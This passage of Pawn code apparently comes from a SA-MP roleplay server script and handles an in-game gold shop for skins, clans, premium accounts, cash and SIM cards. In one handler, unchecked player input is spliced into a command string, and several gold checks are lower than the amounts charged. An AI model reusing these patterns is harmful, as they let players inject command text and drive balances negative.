			return 1;
			}//                        ResetKM In /Shop Added by Sina
			if(listitem == 12) {
			SCM(playerid, COLOR_SINARANG, "You can reset your vehicle's odometer with /resetkm.");
			return 1;
			}//                        Custom Skin In /Shop Added by Sina
			if(listitem == 13) {
			new x=1;
			if(x==x)return Error(playerid, "Error: You can buy skins at binco using /clothes.")
			if(PINFO[playerid][pGold] < 2000) return SCM(playerid, COLOR_YELLOW2, "Error: You Haven't Enough Gold.")
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't set your custom skin when you are prisoner.");
			ShowPlayerDialog(playerid, 9052, DIALOG_STYLE_INPUT,"CustomSkin","Select the skin id you want","Choose","Close");
			return 1;
			}
			if(listitem == 14) {
			new a = 0;
			if(a == a) return SCM(playerid, COLOR_SINARANG, "You can buy neon from /findsbiz 36.");
			if(PINFO[playerid][pGold] < 250) return SCM(playerid, COLOR_YELLOW2, "Error: You Haven't Enough Gold.")
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You must be driver of vehicle.");
			ShowPlayerDialog(playerid,DIALOG_NEON,DIALOG_STYLE_LIST,"{FF0000}Neon System","{0000FF}Blue\n{FF0000}Red\n{00FF00}Green\n{FFFFFF}White\n{FF00CC}Pink\n{FFFF00}Yellow\n{FFFFFF}No Neon","Select","Close");
			return 1;
			}
			if(listitem == 15) {
			if(PINFO[playerid][pGold] < 55000) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough Gold.")
			ShowPlayerDialog(playerid, 17, DIALOG_STYLE_MSGBOX,"VIP","Are you sure to buy VIP by 55000 Golds?","Yes","Close");
			return 1;
			}
			if(listitem == 16) {
			//if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough Gold.")
			new shop[2048];
			format(shop,sizeof(shop),"{FF0000}RED\n{FFFF00}YELLOW\n{FF00FF}PURPLE\n{00FFFF}BLUE\n{00FF00}LIME\nRemove Color Name");
			new title[256];
			format(title, sizeof(title), "Color Name - Golds: %d", PINFO[playerid][pGold]);
			ShowPlayerDialog(playerid,18,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			return 1;
			}
			if(listitem == 17) {
			new a = 0;
			if(a == a) return SCM(playerid, COLOR_SINARANG, "You can buy colored plates from /findsbiz 36.");
			return 1;
			}
		  }
		  else
		  {
		  return 1;
		  }
	   }//        Custom Skin In /Shop Added by Sina
	   if(dialogid == 9052 && response == 1) {
	   if(response) {
	   new Setskinshop[20];
			buyskins[playerid] = 1;
		  format(Setskinshop, 20, "/setmyshopskin %s", inputtext);
		  OnPlayerCommandText(playerid, Setskinshop);
			format(string, sizeof(string), "{FF0000}CUSTOM-SKIN:{FF00FF} You have successfully bought skin id {FF0000}%s{FF00FF} from shop.", inputtext);
			SendMessage(playerid, COLOR_SINA2, string);
		  return 1;
		  }
		  else {
		return 1;
		}
		}//        UnjailSystem In /Shop Added by Sina
	   if(dialogid == 9078) {
		if(response) {
		PlayerInfo[playerid][pJailTime] = 1;
		PINFO[playerid][pGold] -= 300;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_SINA2, "[Shop]: You bought free from jail with 300 golds.");
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9098) {
		if(response) {
		if(FindBadSign(inputtext)) {
		SCM(playerid,COLOR_GG,"Use A-Z a-z 0-9 () [] . in new name");
		ShowPlayerDialog(playerid, 9098, DIALOG_STYLE_INPUT,"Change Nickname","Insert your new nickname.\n{FF0000}There isn't back way.","Accept","Close");
		return 1;
		}
	   new length = strlen(inputtext);
		if(length == 0)
		{
		ShowPlayerDialog(playerid, 9098, DIALOG_STYLE_INPUT,"Change Nickname","{ff0000}You're entered an invalid nickname!\n{A9C4E4}Insert your new nickname below:\n{FF0000}There isn't back way.","Accept","Close");
		return 1;
		}
		if(length<3||length>20)
		{
		ShowPlayerDialog(playerid, 9098, DIALOG_STYLE_INPUT,"Change Nickname","{ff0000}You're entered an invalid nickname!\n{A9C4E4}Insert your new nickname below:\n{FF0000}There isn't back way.","Accept","Close");
		return 1;
		}
	   gPlayerLogged[playerid] = 0;
	   RequestSelected[playerid] = true;
	   new query[300];
	   mysql_format(handle, query,300,"SELECT * FROM `users` WHERE pName='%e'",inputtext);
	   mysql_function_query(handle,query,true,"OnPlayerChangeNameShop","iiss",playerid,playerid,PINFO[playerid][pName],inputtext);


		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9097) {
		if(response) {
		PINFO[playerid][pPunish] -= 10;
		SaveKonVal(playerid, "pPunish", PINFO[playerid][pPunish]);
		PINFO[playerid][pGold] -= 250;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your 10 FactionPunish has cleared by 250 golds successfully.");
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9099) {
		if(response) {
		PINFO[playerid][pWarns] -= 1;
		SaveKonVal(playerid, "pWarns", PINFO[playerid][pWarns]);
		PINFO[playerid][pGold] -= 400;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your 1 warn has cleared by 400 golds successfully.");
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9089) {
		if(response) {
		PINFO[playerid][pSex] = pSexx[playerid];
		SaveKonVal(playerid, "pSex", pSexx[playerid]);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your sex changed by 600 golds.");
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9095) {
		if(response) {
		if(listitem == 0) {
		if(PINFO[playerid][pGold] < 500) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CCID[playerid] = 1;
		ShowPlayerDialog(playerid,9025,DIALOG_STYLE_INPUT,"Small Clan [5 Slots] [30Days]","Enter your clan name - length: 2-20 words. {FF0000}can't change it.","Next","Cancel");
		return 1;
		}
		if(listitem == 1) {
		if(PINFO[playerid][pGold] < 1000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CCID[playerid] = 2;
		ShowPlayerDialog(playerid,9025,DIALOG_STYLE_INPUT,"Medium Clan [10 Slots] [30Days]","Enter your clan name - length: 2-20 words. {FF0000}can't change it.","Next","Cancel");
		return 1;
		}
		if(listitem == 2) {
		if(PINFO[playerid][pGold] < 2000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CCID[playerid] = 3;
		ShowPlayerDialog(playerid,9025,DIALOG_STYLE_INPUT,"Big Clan [15 Slots] [30Days]","Enter your clan name - length: 2-20 words. {FF0000}can't change it.","Next","Cancel");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9025) {
		if(response) {
		if(strlen(inputtext) < 2 || strlen(inputtext) > 20) {
		ShowPlayerDialog(playerid,9025,DIALOG_STYLE_INPUT,"Error","There is an error! Enter your clan name - length: 2-20 words. {FF0000}can't change it.","Next","Cancel");
		return 1;
		}
		new str[32];
		format(str, sizeof(str), "%s",inputtext);
		NameClan[playerid] = str;
		ShowPlayerDialog(playerid,9026,DIALOG_STYLE_INPUT,"Clan Tag","Enter your clan tag - length: 2-5 words. {FF0000}can't change it.","Next","Cancel");
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9026) {
		if(response) {
		if(strlen(inputtext) < 2 || strlen(inputtext) > 4) {
		ShowPlayerDialog(playerid,9026,DIALOG_STYLE_INPUT,"Error","There is an error! Enter your clan tag - length: 2-4 words. {FF0000}can't change it.","Next","Cancel");
		return 1;
		}
		new str[5];
		format(str, sizeof(str), "%s",inputtext);
		TagClan[playerid] = str;
		ShowPlayerDialog(playerid,9027,DIALOG_STYLE_LIST,"Clan BB","Before (Example: [TPG]NAME) \nAfter (Example: NAME[TPG])","Next","Cancel");
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9027) {
		if(response) {
		if(listitem == 0) {
		CBB[playerid] = 1;
		ShowPlayerDialog(playerid,9028,DIALOG_STYLE_INPUT,"Clan Color","You should set clan color in hex format.\ne.g: { FF0000 }{FF0000}WITHOUT ANY SPACES.","Next","Cancel");
		return 1;
		}
		if(listitem == 1) {
		CBB[playerid] = 2;
		ShowPlayerDialog(playerid,9028,DIALOG_STYLE_INPUT,"Clan Color","You should set clan color in hex format.\ne.g: { FF0000 }{FF0000}WITHOUT ANY SPACES.","Next","Cancel");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9028) {
		if(response) {
		if(!IsUsingValidHex(inputtext)) {
		ShowPlayerDialog(playerid,9028,DIALOG_STYLE_INPUT,"Clan Color","You should set clan color in hex format.\ne.g: { FF0000 }{FF0000}WITHOUT ANY SPACES.","Next","Cancel");
		return 1;
		}
		new str[9];
		format(str, sizeof(str), "%s",inputtext);
		//strdel(str, 0, 0);strdel(str, 7, 7);
		ColorClan[playerid] = str;
		new sss[128];
		format(sss, sizeof(sss), "Are you sure make clan with Name: [{%s}%s{A9C4E4}] Tag: [{%s}%s{A9C4E4}] for 30 days?", ColorClan[playerid], NameClan[playerid], ColorClan[playerid], TagClan[playerid]);
		ShowPlayerDialog(playerid,9029,DIALOG_STYLE_MSGBOX,"Clan Accept",sss,"Yes","Cancel");
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9029) {
//		new string[256];
		if(response) {
		BesazClan(playerid);
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9093) {
		if(response) {
		if(listitem == 0) {
		if(PINFO[playerid][pGold] < 300) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		RRP[playerid] = 100;
		RRG[playerid] = 300;
		ShowPlayerDialog(playerid, 9065, DIALOG_STYLE_MSGBOX, "Buy Rep Points", "Are you sure to buy 100 Rep points by 300 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 1) {
		if(PINFO[playerid][pGold] < 2000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		RRP[playerid] = 500;
		RRG[playerid] = 2000;
		ShowPlayerDialog(playerid, 9065, DIALOG_STYLE_MSGBOX, "Buy Rep Points", "Are you sure to buy 500 Rep points by 2000 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 2) {
		if(PINFO[playerid][pGold] < 3500) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		RRP[playerid] = 1000;
		RRG[playerid] = 3500;
		ShowPlayerDialog(playerid, 9065, DIALOG_STYLE_MSGBOX, "Buy Rep Points", "Are you sure to buy 1000 Rep points by 3500 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 3) {
		if(PINFO[playerid][pGold] < 6000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		RRP[playerid] = 2000;
		RRG[playerid] = 6000;
		ShowPlayerDialog(playerid, 9065, DIALOG_STYLE_MSGBOX, "Buy Rep Points", "Are you sure to buy 2000 Rep points by 6000 gold?", "Accept", "Close");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9094) {
		if(response) {
		if(listitem == 0) {
		if(PINFO[playerid][pGold] < 200) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 50000;
		CMG[playerid] = 200;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		if(listitem == 1) {
		if(PINFO[playerid][pGold] < 400) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 100000;
		CMG[playerid] = 400;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		if(listitem == 2) {
		if(PINFO[playerid][pGold] < 1000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 200000;
		CMG[playerid] = 780;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		if(listitem == 3) {
		if(PINFO[playerid][pGold] < 2000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 500000;
		CMG[playerid] = 1900;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		if(listitem == 4) {
		if(PINFO[playerid][pGold] < 4000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 1000000;
		CMG[playerid] = 3800;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		if(listitem == 5) {
		if(PINFO[playerid][pGold] < 20000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		CMP[playerid] = 5000000;
		CMG[playerid] = 19000;
		new strr[256];
		format(strr, sizeof(strr), "Are you sure to buy $%s by %d gold?",FormatNumber(CMP[playerid]),CMG[playerid]);
		ShowPlayerDialog(playerid, 9064, DIALOG_STYLE_MSGBOX, "Buy Cash Money", strr, "Accept", "Close");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9092) {
		if(response) {
		if(listitem == 0) {
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {FF0000}50 Gold \n{FFFFFF}1 Month (30 days) limit - {FF0000}200 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}600 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		if(PINFO[playerid][pGold] >= 50)
		{
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {33AA33}50 Gold \n{FFFFFF}1 Month (30 days) limit - {FF0000}200 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}600 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 200)
		{
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {33AA33}50 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}200 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}600 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 600)
		{
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {33AA33}50 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}200 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}600 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 1200)
		{
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {33AA33}50 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}200 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}600 Gold \n{FFFFFF}6 Months (180 days) limit - {33AA33}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 2300)
		{
		ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account", "{FFFFFF}1 Week (7 days) limit - {33AA33}50 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}200 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}600 Gold \n{FFFFFF}6 Months (180 days) limit - {33AA33}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {33AA33}2300 Gold", "Select", "Close");
		}


		//ShowPlayerDialog(playerid, 9082, DIALOG_STYLE_LIST, "Premium Account [1]", "{FFFFFF}1 Week (7 days) limit - {FF0000}50 Gold \n{FFFFFF}1 Month (30 days) limit - {FF0000}200 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}600 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1200 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}2300 Gold", "Select", "Close");
		return 1;
		}
		if(listitem == 1) {
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {FF0000}80 Gold \n{FFFFFF}1 Month (30 days) limit - {FF0000}320 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}900 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}3000 Gold", "Select", "Close");
		if(PINFO[playerid][pGold] >= 80)
		{
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {33AA33}80 Gold \n{FFFFFF}1 Month (30 days) limit - {FF0000}320 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}900 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}3000 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 320)
		{
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {33AA33}80 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}320 Gold \n{FFFFFF}3 Months (90 days) limit - {FF0000}900 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}3000 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 900)
		{
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {33AA33}80 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}320 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}900 Gold \n{FFFFFF}6 Months (180 days) limit - {FF0000}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}3000 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 1780)
		{
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {33AA33}80 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}320 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}900 Gold \n{FFFFFF}6 Months (180 days) limit - {33AA33}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {FF0000}3000 Gold", "Select", "Close");
		}
		if(PINFO[playerid][pGold] >= 3000)
		{
		ShowPlayerDialog(playerid, 9072, DIALOG_STYLE_LIST, "Premium Account [2]", "{FFFFFF}1 Week (7 days) limit - {33AA33}80 Gold \n{FFFFFF}1 Month (30 days) limit - {33AA33}320 Gold \n{FFFFFF}3 Months (90 days) limit - {33AA33}900 Gold \n{FFFFFF}6 Months (180 days) limit - {33AA33}1780 Gold \n{FFFFFF}1 Year (365 days) limit - {33AA33}3000 Gold", "Select", "Close");
		}
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9082) {
		if(response) {
		if(listitem == 0) {
		if(PINFO[playerid][pGold] < 50) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.");
		PPA[playerid] = 1;
		PPD[playerid] = 7;
		PPG[playerid] = 50;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account", "Are you sure to buy premium account for 1 week by 50 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 1) {
		if(PINFO[playerid][pGold] < 200) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.");
		PPA[playerid] = 1;
		PPD[playerid] = 30;
		PPG[playerid] = 200;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account", "Are you sure to buy premium account for 1 month by 200 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 2) {
		if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.");
		PPA[playerid] = 1;
		PPD[playerid] = 90;
		PPG[playerid] = 600;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account", "Are you sure to buy premium account for 3 months by 600 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 3) {
		if(PINFO[playerid][pGold] < 1200) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.");
		PPA[playerid] = 1;
		PPD[playerid] = 180;
		PPG[playerid] = 1200;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account", "Are you sure to buy premium account for 6 months by 1200 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 4) {
		if(PINFO[playerid][pGold] < 2300) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.");
		PPA[playerid] = 1;
		PPD[playerid] = 365;
		PPG[playerid] = 2300;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account", "Are you sure to buy premium account for 1 year by 2300 gold?", "Accept", "Close");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9072) {
		if(response) {
		if(listitem == 0) {
		if(PINFO[playerid][pGold] < 80) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		PPA[playerid] = 2;
		PPD[playerid] = 7;
		PPG[playerid] = 80;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account Level [2]", "Are you sure to buy premium account level [2] for 1 week by 80 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 1) {
		if(PINFO[playerid][pGold] < 200) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		PPA[playerid] = 2;
		PPD[playerid] = 30;
		PPG[playerid] = 320;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account Level [2]", "Are you sure to buy premium account level [2] for 1 month by 320 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 2) {
		if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		PPA[playerid] = 2;
		PPD[playerid] = 90;
		PPG[playerid] = 900;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account Level [2]", "Are you sure to buy premium account level [2] for 3 months by 900 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 3) {
		if(PINFO[playerid][pGold] < 1200) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		PPA[playerid] = 2;
		PPD[playerid] = 180;
		PPG[playerid] = 1780;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account Level [2]", "Are you sure to buy premium account level [2] for 6 months by 1780 gold?", "Accept", "Close");
		return 1;
		}
		if(listitem == 4) {
		if(PINFO[playerid][pGold] < 2300) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.");
		PPA[playerid] = 2;
		PPD[playerid] = 365;
		PPG[playerid] = 3000;
		ShowPlayerDialog(playerid, 9066, DIALOG_STYLE_MSGBOX, "Premium Account Level [2]", "Are you sure to buy premium account level [2] for 1 year by 3000 gold?", "Accept", "Close");
		return 1;
		}
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9066) {
		if(response) {
		PINFO[playerid][pPremiumAccount] = PPA[playerid];
		SaveKonVal(playerid, "pPremiumAccount", PPA[playerid]);
		PINFO[playerid][pPDay] += PPD[playerid];
		SaveKonVal(playerid, "pPDay", PINFO[playerid][pPDay]);
//		new string[256];
		new dd,mm,yyyy;
		getdate(dd,mm,yyyy);
		format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
		strmid(PlayerInfo[playerid][pPExpire],string,0,sizeof(string),24);
		SaveKonStr(playerid, "pPExpire", string);
		PINFO[playerid][pGold] -= PPG[playerid];
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		new str[512];
		format(str, sizeof(str), "[Shop]: you successfully bought a premium account [%d] for %d days by %d golds.",PPA[playerid],PPD[playerid],PPG[playerid])
		SCM(playerid, COLOR_YELLOW, str);
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9065) {
		if(response) {
		PINFO[playerid][pRep] += RRP[playerid];
		SaveKonVal(playerid, "pRep", PINFO[playerid][pRep]);
		PINFO[playerid][pGold] -= RRG[playerid];
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		new str[512];
		format(str, sizeof(str), "[Shop]: you successfully bought %d Rep points by %d golds.",RRP[playerid],RRG[playerid])
		SCM(playerid, COLOR_YELLOW, str);
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 9064) {
		if(response) {
		GivePlayerPool(playerid, CMP[playerid]);
		PINFO[playerid][pGold] -= CMG[playerid];
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		new str[512];
		format(str, sizeof(str), "[Shop]: you successfully bought $%s by %d golds.",FormatNumber(CMP[playerid]),CMG[playerid])
		SCM(playerid, COLOR_YELLOW, str);
		return 1;
		}
		else {
		return 1;
		}
		}
		if(dialogid == 20017) {
		if(response) {
		if(listitem == 0) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9120000,9129999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MCI SIM card purchased. Your new number is: %s %d",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		SendMessage(playerid, COL_SYN, "Syntax: You can now type /help to see your cell phone commands.");
		return 1;
		}
		if(listitem == 1) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9190000,9199999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MCI SIM card purchased. Your new number is: %s",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		SendMessage(playerid, COL_SYN, "Syntax: You can now type /help to see your cell phone commands.");
		return 1;
		}
		if(listitem == 1) {

		}
		}
		else {}
		}
		if(dialogid == 20018) {
		if(response) {
		if(listitem == 0) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9350000,9359999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MTN SIM card purchased. Your new number is: %s",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		return 1;
		}
		if(listitem == 1) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9360000,9369999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MTN SIM card purchased. Your new number is: %s",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		return 1;
		}
		if(listitem == 2) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
